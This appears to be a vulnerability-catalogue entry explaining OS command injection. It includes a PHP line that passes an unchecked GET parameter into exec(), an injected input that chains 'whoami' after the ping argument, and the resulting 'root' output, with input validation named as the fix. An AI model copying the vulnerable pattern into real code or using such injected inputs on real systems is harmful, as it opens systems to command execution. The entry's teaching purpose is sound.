A threat actor may inject arbitrary operating system (OS) commands on target

Example #1

1. Threat actor crafts a malicious request to a vulnerable target
2. The target process the malicious request and returns the result

Code

Target-Logic

$result = exec("ping -c4 ".$_GET["ip"]);
echo($result)

Target-In

x 2>/dev/null || whoami

Target-Out

root

Impact

High

Names

• Command Injection

Risk

• Read & write data
• Command execution

Redemption

• Input validation

ID

154d5db5-9614-42f9-9898-3355a7b7848f

References

• wiki